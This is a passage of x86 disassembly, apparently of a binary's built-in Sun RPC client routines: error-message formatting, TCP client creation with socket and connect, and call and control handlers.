		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		push	eax

loc_8063820:				; CODE XREF: sub_8063688+177j
		push	ebx
		call	sprintf
		add	esp, 0Ch
		push	ebx
		call	sub_80662B0
		add	ebx, eax
		add	esp, 4
		jmp	short loc_806387A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063838:				; DATA XREF: sub_8063688+A4o
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aLowVersionLuHi ; "; low	version	= %lu, high version = %lu"...
		push	2
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		push	eax
		jmp	short loc_8063869
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806385C:				; CODE XREF: sub_8063688+70j
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aS1LuS2Lu ; "; s1 = %lu,	s2 = %lu"

loc_8063869:				; CODE XREF: sub_8063688+134j
					; sub_8063688+1D0j
		push	ebx
		call	sprintf
		push	ebx
		call	sub_80662B0
		add	ebx, eax
		add	esp, 14h

loc_806387A:				; CODE XREF: sub_8063688+79j
					; sub_8063688+10Fj ...
		push	offset asc_806AB51 ; "\n"
		push	ebx
		call	sprintf
		mov	eax, [ebp+var_10]

loc_8063888:				; CODE XREF: sub_8063688+20j
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8063688	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063894	proc near		; CODE XREF: sub_805D3A8+16Bp
					; sub_805D638+E3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_8063688
		push	eax
		push	offset aS_3	; "%s"
		push	offset unk_80787A4
		call	fprintf
		mov	esp, ebp
		pop	ebp
		retn
sub_8063894	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80638B8	proc near		; CODE XREF: sub_8063688+4Dp
					; sub_8063938+7p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	sub_805E954
		xor	ebx, ebx
		mov	edi, offset unk_80790D8
		xor	ecx, ecx
		mov	eax, offset unk_80790D8

loc_80638D4:				; CODE XREF: sub_80638B8+60j
		cmp	[eax], esi
		jnz	short loc_80638E4
		mov	eax, [edi+ecx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_8063921
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80638E4:				; CODE XREF: sub_80638B8+1Ej
		lea	edx, [ecx+8]
		cmp	[eax+8], esi
		jnz	short loc_80638F8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_8063921
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80638F8:				; CODE XREF: sub_80638B8+32j
		lea	edx, [ecx+10h]
		cmp	[eax+10h], esi
		jnz	short loc_806390C
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_8063921
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806390C:				; CODE XREF: sub_80638B8+46j
		add	eax, 18h
		add	ecx, 18h
		add	ebx, 3
		cmp	ebx, 11h
		jbe	short loc_80638D4
		push	offset aRpcUnknownErro ; "RPC: (unknown	error code)"
		push	13h

loc_8063921:				; CODE XREF: sub_80638B8+29j
					; sub_80638B8+3Dj ...
		push	8
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80638B8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063938	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_80638B8
		push	eax
		push	offset aS_3	; "%s"
		push	offset unk_80787A4
		call	fprintf
		mov	esp, ebp
		pop	ebp
		retn
sub_8063938	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063958	proc near		; CODE XREF: sub_8063A54+7p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	sub_8063664
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_8063974
		xor	eax, eax
		jmp	loc_8063A48
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063974:				; CODE XREF: sub_8063958+11j
		call	sub_805E954
		push	esi
		push	offset aS_2	; "%s: "
		push	ebx
		call	sprintf
		mov	eax, dword_8079220
		push	eax
		call	sub_80638B8
		push	eax
		push	ebx
		call	sub_80577C0
		add	esp, 18h
		mov	eax, dword_8079220
		cmp	eax, 0Ch
		jz	short loc_80639D0
		cmp	eax, 0Eh
		jnz	loc_8063A3B
		push	offset asc_806AD30 ; " - "
		push	ebx
		call	sub_80577C0
		mov	eax, dword_8079224
		push	eax
		call	sub_80638B8
		push	eax
		push	ebx
		call	sub_80577C0
		add	esp, 14h
		jmp	short loc_8063A3B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80639D0:				; CODE XREF: sub_8063958+4Aj
		push	offset asc_806AD30 ; " - "
		push	ebx
		call	sub_80577C0
		add	esp, 8
		cmp	dword_8079228, 0
		jle	short loc_8063A1C
		mov	eax, dword_8079228
		cmp	ds:dword_806BBB8, eax
		jle	short loc_8063A1C
		mov	eax, ds:dword_806AE98[eax*4]
		push	eax
		mov	eax, dword_8079228
		inc	eax
		push	eax
		push	1
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	ebx
		call	sub_80577C0
		add	esp, 18h
		jmp	short loc_8063A3B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063A1C:				; CODE XREF: sub_8063958+8Dj
					; sub_8063958+9Aj
		mov	eax, dword_8079228
		push	eax
		push	offset aErrorD	; "Error %d"
		push	ebx
		call	sub_80662B0
		add	esp, 4
		add	eax, ebx
		push	eax
		call	sprintf
		add	esp, 0Ch

loc_8063A3B:				; CODE XREF: sub_8063958+4Fj
					; sub_8063958+75j ...
		push	offset asc_806AB51 ; "\n"
		push	ebx
		call	sub_80577C0
		mov	eax, ebx

loc_8063A48:				; CODE XREF: sub_8063958+15j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8063958	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063A54	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_8063958
		push	eax
		push	offset aS_3	; "%s"
		push	offset unk_80787A4
		call	fprintf
		mov	esp, ebp
		pop	ebp
		retn
sub_8063A54	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063A74	proc near		; CODE XREF: sub_8063688+140p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	sub_805E954
		xor	ebx, ebx
		mov	edi, offset unk_8079168
		xor	ecx, ecx
		mov	eax, offset unk_8079168

loc_8063A90:				; CODE XREF: sub_8063A74+80j
		cmp	[eax], esi
		jnz	short loc_8063AA0
		mov	eax, [edi+ecx+4]
		push	eax
		lea	eax, [ebx+1]
		jmp	short loc_8063AD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063AA0:				; CODE XREF: sub_8063A74+1Ej
		lea	edx, [ecx+8]
		cmp	[eax+8], esi
		jnz	short loc_8063AB4
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+2]
		jmp	short loc_8063AD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063AB4:				; CODE XREF: sub_8063A74+32j
		lea	edx, [ecx+10h]
		cmp	[eax+10h], esi
		jnz	short loc_8063AC8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+3]
		jmp	short loc_8063AD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063AC8:				; CODE XREF: sub_8063A74+46j
		lea	edx, [ecx+18h]
		cmp	[eax+18h], esi
		jnz	short loc_8063AE8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+4]

loc_8063AD8:				; CODE XREF: sub_8063A74+28j
					; sub_8063A74+3Cj ...
		push	eax
		push	7
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		jmp	short loc_8063AF8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063AE8:				; CODE XREF: sub_8063A74+5Aj
		add	eax, 20h
		add	ecx, 20h
		add	ebx, 4
		cmp	ebx, 7
		jbe	short loc_8063A90
		xor	eax, eax

loc_8063AF8:				; CODE XREF: sub_8063A74+72j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8063A74	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063B04	proc near		; CODE XREF: sub_805CE84+248p
					; sub_805DA10+A3p

var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		xor	esi, esi
		call	sub_805E954
		push	0Ch
		call	malloc
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_8063B37
		push	64h
		call	malloc
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_8063B78

loc_8063B37:				; CODE XREF: sub_8063B04+21j
		push	offset aOutOfMemory ; "out of memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	offset aClnttcp_crea_0 ; "clnttcp_create: %s\n"
		push	offset unk_80787A4
		call	fprintf
		mov	dword_8079220, 0Ch
		mov	eax, __errno
		mov	dword_8079228, eax
		add	esp, 1Ch
		jmp	loc_8063D08
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063B78:				; CODE XREF: sub_8063B04+31j
		cmp	word ptr [ebx+2], 0
		jnz	short loc_8063BA1
		push	6
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	ebx
		call	sub_80649E0
		add	esp, 10h
		test	ax, ax
		jz	loc_8063D08
		xchg	al, ah
		mov	[ebx+2], ax

loc_8063BA1:				; CODE XREF: sub_8063B04+79j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jge	short loc_8063C10
		push	6
		push	1
		push	2
		call	socket
		mov	edx, [ebp+arg_C]
		mov	[edx], eax
		push	0
		push	eax
		call	sub_8066A50
		add	esp, 14h
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jl	short loc_8063BDE
		push	10h
		push	ebx
		mov	eax, [edx]
		push	eax
		call	connect
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8063C04

loc_8063BDE:				; CODE XREF: sub_8063B04+C6j
		mov	dword_8079220, 0Ch
		mov	eax, __errno
		mov	dword_8079228, eax
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jl	loc_8063D08
		jmp	loc_8063CA1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063C04:				; CODE XREF: sub_8063B04+D8j
		mov	dword ptr [esi+4], 1
		jmp	short loc_8063C17
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063C10:				; CODE XREF: sub_8063B04+A3j
		mov	dword ptr [esi+4], 0

loc_8063C17:				; CODE XREF: sub_8063B04+107j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		mov	[esi], eax
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	eax, [ebx]
		mov	[esi+14h], eax
		mov	eax, [ebx+4]
		mov	[esi+18h], eax
		mov	eax, [ebx+8]
		mov	[esi+1Ch], eax
		mov	eax, [ebx+0Ch]
		mov	[esi+20h], eax
		push	0
		lea	eax, [ebp+var_38]
		push	eax
		call	gettimeofday
		call	getpid
		xor	eax, [ebp+var_38]
		xor	eax, [ebp+var_34]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 2
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_24], edx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_20], edx
		push	0
		push	18h
		lea	eax, [esi+30h]
		push	eax
		lea	ebx, [esi+4Ch]
		push	ebx
		call	sub_8065408
		lea	eax, [ebp+var_30]
		push	eax
		push	ebx
		call	sub_8064C9C
		add	esp, 20h
		test	eax, eax
		jnz	short loc_8063CB0
		cmp	dword ptr [esi+4], 0
		jz	short loc_8063D08
		mov	edx, [ebp+arg_C]

loc_8063CA1:				; CODE XREF: sub_8063B04+FAj
		mov	eax, [edx]
		push	eax
		call	close
		add	esp, 4
		jmp	short loc_8063D08
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063CB0:				; CODE XREF: sub_8063B04+192j
		mov	eax, [esi+50h]
		lea	ebx, [esi+4Ch]
		push	ebx
		mov	eax, [eax+10h]
		call	eax
		mov	[esi+48h], eax
		mov	eax, [esi+50h]
		add	esp, 4
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_8063CD4
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax
		add	esp, 4

loc_8063CD4:				; CODE XREF: sub_8063B04+1C5j
		push	offset sub_8064174
		push	offset sub_8064074
		push	esi
		mov	edx, [ebp+arg_14]
		push	edx
		mov	edx, [ebp+arg_10]
		push	edx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_8065750
		mov	dword ptr [edi+4], offset off_80791A8
		mov	[edi+8], esi
		call	sub_8067094
		mov	[edi], eax
		mov	eax, edi
		jmp	short loc_8063D16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063D08:				; CODE XREF: sub_8063B04+6Ej
					; sub_8063B04+91j ...
		push	esi
		call	free
		push	edi
		call	free
		xor	eax, eax

loc_8063D16:				; CODE XREF: sub_8063B04+1FFj
		lea	esp, [ebp+var_44]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8063B04	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063D20	proc near		; DATA XREF: .data:080791A8o

var_50		= byte ptr -50h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+8]
		lea	esi, [ebx+4Ch]
		lea	edi, [ebx+30h]
		mov	[ebp+var_38], edi
		mov	[ebp+var_3C], 2
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_8063D51
		mov	ecx, [ebp+arg_18]
		mov	[ebx+8], ecx
		mov	ecx, [ebp+arg_1C]
		mov	[ebx+0Ch], ecx

loc_8063D51:				; CODE XREF: sub_8063D20+23j
		mov	[ebp+var_44], 0
		cmp	[ebp+arg_10], 0
		jnz	short loc_8063D6A
		cmp	[ebp+arg_18], 0
		jnz	short loc_8063D6A
		cmp	[ebp+arg_1C], 0
		jz	short loc_8063D71

loc_8063D6A:				; CODE XREF: sub_8063D20+3Cj
					; sub_8063D20+42j
		mov	[ebp+var_44], 1

loc_8063D71:				; CODE XREF: sub_8063D20+48j
					; sub_8063D20+22Cj
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+24h], 0
		mov	edi, [ebp+var_38]
		dec	dword ptr [edi]
		mov	ecx, [edi]
		xchg	cl, ch
		ror	ecx, 10h
		xchg	cl, ch
		mov	[ebp+var_34], ecx
		mov	edi, [esi+4]
		mov	edx, [ebx+48h]
		push	edx
		lea	edx, [ebx+30h]
		push	edx
		push	esi
		mov	edx, [edi+0Ch]
		call	edx
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_8063DE2
		mov	edx, [esi+4]
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		mov	edx, [edx+4]
		call	edx
		add	esp, 8
		test	eax, eax
		jz	short loc_8063DE2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	edi, [edx+20h]
		push	esi
		push	edx
		mov	edx, [edi+4]
		call	edx
		add	esp, 8
		test	eax, eax
		jz	short loc_8063DE2
		mov	ecx, [ebp+arg_C]
		push	ecx
		push	esi
		mov	edi, [ebp+arg_8]
		call	edi
		add	esp, 8
		test	eax, eax
		jnz	short loc_8063DFC

loc_8063DE2:				; CODE XREF: sub_8063D20+85j
					; sub_8063D20+99j ...
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_8063DEF
		mov	dword ptr [ebx+24h], 1

loc_8063DEF:				; CODE XREF: sub_8063D20+C6j
		push	1
		push	esi
		call	sub_8065BE4
		jmp	loc_8063F52
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063DFC:				; CODE XREF: sub_8063D20+C0j
		mov	ecx, [ebp+var_44]
		push	ecx
		push	esi
		call	sub_8065BE4
		add	esp, 8
		test	eax, eax
		jnz	short loc_8063E20
		mov	dword ptr [ebx+24h], 3
		mov	eax, 3
		jmp	loc_8063F55
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063E20:				; CODE XREF: sub_8063D20+EBj
		cmp	[ebp+var_44], 0
		jnz	short loc_8063E30
		xor	eax, eax
		jmp	loc_8063F55
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063E30:				; CODE XREF: sub_8063D20+104j
		cmp	[ebp+arg_18], 0
		jnz	short loc_8063E50
		cmp	[ebp+arg_1C], 0
		jnz	short loc_8063E50
		mov	dword ptr [ebx+24h], 5
		mov	eax, 5
		jmp	loc_8063F55
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063E50:				; CODE XREF: sub_8063D20+114j
					; sub_8063D20+11Aj
		mov	dword ptr [esi], 1
		lea	esi, [esi]

loc_8063E58:				; CODE XREF: sub_8063D20+187j
					; sub_8063D20+196j
		mov	edx, dword_8079230
		mov	[ebp+var_24], edx
		mov	edx, dword_8079234
		mov	[ebp+var_20], edx
		mov	edx, dword_8079238
		mov	[ebp+var_1C], edx
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_8064E94
		push	esi
		call	sub_8065B2C
		add	esp, 4
		test	eax, eax
		jz	loc_8063F52
		lea	edx, [ebp+var_30]
		push	edx
		push	esi
		call	sub_8064C48
		add	esp, 8
		test	eax, eax
		jnz	short loc_8063EB0
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_8063E58
		jmp	loc_8063F52
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063EB0:				; CODE XREF: sub_8063D20+181j
		mov	ecx, [ebp+var_34]
		cmp	[ebp+var_30], ecx
		jnz	short loc_8063E58
		lea	edx, [ebx+24h]
		push	edx
		lea	edx, [ebp+var_30]
		push	edx
		call	sub_8064DE0
		add	esp, 8
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_8063F30
		mov	edi, [ebp+arg_0]
		mov	edi, [edi]
		mov	eax, [edi+20h]
		lea	edx, [ebp+var_24]
		push	edx
		push	edi
		mov	edx, [eax+8]
		call	edx
		add	esp, 8
		test	eax, eax
		jnz	short loc_8063EF8
		mov	dword ptr [ebx+24h], 7
		mov	dword ptr [ebx+28h], 6
		jmp	short loc_8063F16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063EF8:				; CODE XREF: sub_8063D20+1C5j
		mov	ecx, [ebp+arg_14]
		push	ecx
		push	esi
		mov	edi, [ebp+arg_10]
		call	edi
		add	esp, 8
		test	eax, eax
		jnz	short loc_8063F16
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_8063F16
		mov	dword ptr [ebx+24h], 2

loc_8063F16:				; CODE XREF: sub_8063D20+1D5j
					; sub_8063D20+1E7j ...
		cmp	[ebp+var_20], 0
		jz	short loc_8063F52
		mov	dword ptr [esi], 2
		lea	edx, [ebp+var_24]
		push	edx
		push	esi
		call	sub_8064B1C
		jmp	short loc_8063F52
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063F30:				; CODE XREF: sub_8063D20+1ACj
		dec	[ebp+var_3C]
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jz	short loc_8063F52
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	edi, [edx+20h]
		push	edx
		mov	edx, [edi+0Ch]
		call	edx
		add	esp, 4
		test	eax, eax
		jnz	loc_8063D71

loc_8063F52:				; CODE XREF: sub_8063D20+D7j
					; sub_8063D20+16Cj ...
		mov	eax, [ebx+24h]

loc_8063F55:				; CODE XREF: sub_8063D20+F9j
					; sub_8063D20+108j ...
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8063D20	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063F60	proc near		; DATA XREF: .data:080791B0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+8]
		mov	eax, [edx+24h]
		mov	[ecx], eax
		mov	eax, [edx+28h]
		mov	[ecx+4], eax
		mov	eax, [edx+2Ch]
		mov	[ecx+8], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8063F60	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063F84	proc near		; DATA XREF: .data:080791B4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+8]
		lea	edx, [eax+4Ch]
		mov	dword ptr [eax+4Ch], 2
		push	ecx
		push	edx
		call	ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8063F84	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063FAC	proc near		; DATA XREF: .data:080791ACo
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_8063FAC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063FB4	proc near		; DATA XREF: .data:080791BCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	eax, [edx+8]
		cmp	ecx, 2
		jz	short loc_8063FF0
		jg	short loc_8063FD4
		cmp	ecx, 1
		jz	short loc_8063FDC
		jmp	short loc_806401C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063FD4:				; CODE XREF: sub_8063FB4+15j
		cmp	ecx, 3
		jz	short loc_8064000
		jmp	short loc_806401C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063FDC:				; CODE XREF: sub_8063FB4+1Aj
		mov	edx, [ebx]
		mov	ecx, [ebx+4]
		mov	[eax+8], edx
		mov	[eax+0Ch], ecx
		mov	dword ptr [eax+10h], 1
		jmp	short loc_8064020
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063FF0:				; CODE XREF: sub_8063FB4+13j
		mov	edx, [eax+8]
		mov	ecx, [eax+0Ch]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_8064020
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064000:				; CODE XREF: sub_8063FB4+23j
		mov	edx, [eax+14h]
		mov	[ebx], edx
		mov	edx, [eax+18h]
		mov	[ebx+4], edx
		mov	edx, [eax+1Ch]
		mov	[ebx+8], edx
